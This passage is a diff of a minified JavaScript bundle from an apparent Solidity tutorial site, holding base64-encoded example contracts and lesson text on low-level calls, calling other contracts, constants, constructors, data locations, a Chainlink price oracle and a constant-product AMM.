AgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],Ay=`

                  call is a low level function to interact with other contracts.

                  +`,Iy=({prev:s,next:a})=>r.jsx(A,{version:oy,title:ry,description:iy,html:hy,prev:s,next:a,codes:gy}),dy="0.8.24",Cy="Call",jy="In Solidity call is a low level function to interact with other contracts",Ay=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],uy=`

                  call is a low level function to interact with other contracts.

                  This is the recommended method to use when you're just sending Ether via calling the fallback function.

                  However it is not the recommend way to call existing functions.

                  Few reasons why low-level call is not recommended

                  @@ -3683,7 +3683,7 @@ Each slot in the array can store 32 bytes.

                  emit Response(success, data); } } -`,yy=({prev:s,next:a})=>r.jsx(u,{version:dy,title:Cy,description:jy,html:Ay,prev:s,next:a,codes:uy}),my="0.8.24",by="Calling Other Contract",wy="In Solidity, contract can call other contracts in several ways",ky=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],Zy=`

                  Contract can call other contracts in 2 ways.

                  +`,yy=({prev:s,next:a})=>r.jsx(A,{version:dy,title:Cy,description:jy,html:uy,prev:s,next:a,codes:Ay}),my="0.8.24",by="Calling Other Contract",wy="In Solidity, contract can call other contracts in several ways",ky=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],Zy=`

                  Contract can call other contracts in 2 ways.

                  The easiest way to is to just call it, like A.foo(x, y, z).

                  Another way to call other contracts is to use the low-level call.

                  This method is not recommended.

                  @@ -3726,7 +3726,7 @@ Each slot in the array can store 32 bytes.

                  _callee.setXandSendEther{value: msg.value}(_x); } } -`,Wy=({prev:s,next:a})=>r.jsx(u,{version:my,title:by,description:wy,html:Zy,prev:s,next:a,codes:ky}),By="0.8.24",Gy="Constants",Vy="Constant variables",fy=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],Yy=`

                  Constants are variables that cannot be modified.

                  +`,Wy=({prev:s,next:a})=>r.jsx(A,{version:my,title:by,description:wy,html:Zy,prev:s,next:a,codes:ky}),By="0.8.24",Gy="Constants",Vy="Constant variables",fy=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],Yy=`

                  Constants are variables that cannot be modified.

                  Their value is hard coded and using constants can save gas cost.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -3737,7 +3737,7 @@ Each slot in the array can store 32 bytes.
                  
         0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
     uint256 public constant MY_UINT = 123;
 }
-
                  `,Ry=({prev:s,next:a})=>r.jsx(u,{version:By,title:Gy,description:Vy,html:Yy,prev:s,next:a,codes:fy}),Xy="0.8.24",vy="Constructor",Ny="Learn how to initialize smart contracts in Solidity using a constructor",Hy=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],Fy=`

                  A constructor is an optional function that is executed upon contract creation.

                  +`,Ry=({prev:s,next:a})=>r.jsx(A,{version:By,title:Gy,description:Vy,html:Yy,prev:s,next:a,codes:fy}),Xy="0.8.24",vy="Constructor",Ny="Learn how to initialize smart contracts in Solidity using a constructor",Hy=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],Fy=`

                  A constructor is an optional function that is executed upon contract creation.

                  Here are examples of how to pass arguments to constructors.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -3790,7 +3790,7 @@ Each slot in the array can store 32 bytes.
                  
 contract E is X, Y {
     constructor() Y("Y was called") X("X was called") {}
 }
-
                  `,Ky=({prev:s,next:a})=>r.jsx(u,{version:Xy,title:vy,description:Ny,html:Fy,prev:s,next:a,codes:Hy}),My="0.8.24",Sy="Data Locations - Storage, Memory and Calldata",xy="Data locations - storage, memory and calldata",Jy=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],zy=`

                  Variables are declared as either storage, memory or calldata to explicitly +`,Ky=({prev:s,next:a})=>r.jsx(A,{version:Xy,title:vy,description:Ny,html:Fy,prev:s,next:a,codes:Hy}),My="0.8.24",Sy="Data Locations - Storage, Memory and Calldata",xy="Data locations - storage, memory and calldata",Jy=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],zy=`

                  Variables are declared as either storage, memory or calldata to explicitly specify the location of the data.

                  • storage - variable is a state variable (store on blockchain)
                    • @@ -3837,7 +3837,7 @@ specify the location of the data.

                    // do something with calldata array } } -`,Dy=({prev:s,next:a})=>r.jsx(u,{version:My,title:Sy,description:xy,html:zy,prev:s,next:a,codes:Jy}),Ey="0.8.24",Qy="Chainlink Price Oracle",Ty="Chainlink Price Oracle",Uy=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],_y=`

                    ETH / USD Price Oracle

                    +`,Dy=({prev:s,next:a})=>r.jsx(A,{version:My,title:Sy,description:xy,html:zy,prev:s,next:a,codes:Jy}),Ey="0.8.24",Qy="Chainlink Price Oracle",Ty="Chainlink Price Oracle",Uy=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],_y=`

                    ETH / USD Price Oracle

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3875,7 +3875,7 @@ specify the location of the data.
                    
             uint80 answeredInRound
         );
 }
-
                    `,Ly=({prev:s,next:a})=>r.jsx(u,{version:Ey,title:Qy,description:Ty,html:_y,prev:s,next:a,codes:Uy}),Oy="0.8.24",Py="Constant Product AMM",$y="Constant product AMM",qy=[{fileName:"CPAMM.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
